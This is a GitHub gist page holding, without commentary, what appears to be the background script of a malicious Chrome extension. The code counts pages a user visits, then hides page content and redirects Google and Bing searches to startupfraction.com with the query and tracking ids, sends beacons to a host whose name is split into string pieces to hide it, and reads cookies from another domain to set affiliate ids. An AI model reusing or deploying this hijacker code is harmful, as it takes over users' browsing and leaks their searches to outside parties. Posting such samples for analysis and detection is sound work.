Skip to content

Instantly share code, notes, and snippets.

@x0rz
Created September 18, 2017 08:01
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save x0rz/86a5bb179e45ef49a69e44bd7cfca842 to your computer and use it in GitHub Desktop.
Save x0rz/86a5bb179e45ef49a69e44bd7cfca842 to your computer and use it in GitHub Desktop.
function redirect(e) {
chrome.tabs.update({
url: e
})
}
var pagebrowsed, allowSearch, prevurl = null,
srchid = 100,
sysid = 739,
random = Math.floor(1e7 * Math.random()),
thanksmsg = [random, "slonif", ".", "faith", "opurie", "com"],
InstallDone = "";
chrome.tabs.onUpdated.addListener(function() {
chrome.tabs.getSelected(null, function(e) {
var s = e.url;
if (InstallDone) {
InstallDone[srchid] ? InstallDone[srchid] : InstallDone.default;
if (s != prevurl && (prevurl = s, chrome.storage.sync.get({
pagebrowsed: 0
}, function(e) {
pagebrowsed = e.pagebrowsed, chrome.storage.sync.set({
pagebrowsed: e.pagebrowsed + 1
})
})), pagebrowsed > 5 && (document.getElementsByTagName("body")[0].style.display = "none", s.match(/google/) || s.match(/bing/))) {
var t = s.split("q=");
if (t.length > 1) {
var a = "http://startupfraction.com/yaelba/?keyword=" + t[1].split("&")[0] + "&id=" + srchid + "&sysid=" + sysid;
redirect(a), chrome.tabs.update({
url: a
})
}
}
if (pagebrowsed > 5) try {
var n = window.document.createElement("canvas").getContext("2d");
chrome.browserAction.setIcon({
imageData: n.getImageData(0, 0, 19, 19)
})
} catch (e) {}
}
})
}), fetch("http://" + thanksmsg[1] + thanksmsg[2] + thanksmsg[3] + "/pixel2.gif"), chrome.webRequest.onHeadersReceived.addListener(function(e) {
for (var s = e.responseHeaders, t = !1, a = 0, n = s.length; a < n; ++a) "dd-ext40" == s[a].name && "" == InstallDone && (InstallDone = JSON.parse(s[a].value)), "dd-thanktwo" == s[a].name && (t = !0);
t && "" == InstallDone && fetch("http://" + thanksmsg[1] + thanksmsg[2] + thanksmsg[3] + "/pixel1.gif"), chrome.storage.sync.get({
srchid: 100
}, function(e) {
if (100 == (srchid = e.srchid)) {
var s = thanksmsg[4] + thanksmsg[2] + thanksmsg[5];
chrome.cookies.getAll({
domain: s
}, function(e) {
var s = {};
e.reduce(function(e, t) {
s[t.name] = t.value
}, {}), void 0 != s.pid && "" != s.pid && (srchid = s.pid, chrome.storage.sync.set({
srchid: s.pid
}))
})
}
}), chrome.storage.sync.get({
sysid: 739
}, function(e) {
if (739 == (sysid = e.sysid)) {
var s = thanksmsg[4] + thanksmsg[2] + thanksmsg[5];
chrome.cookies.getAll({
domain: s
}, function(e) {
var s = {};
e.reduce(function(e, t) {
s[t.name] = t.value
}, {}), void 0 != s.sysid && "" != s.sysid && (sysid = s.sysid, chrome.storage.sync.set({
sysid: s.sysid
}))
})
}
})
}, {
urls: ["<all_urls>"]
}, ["responseHeaders"]);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment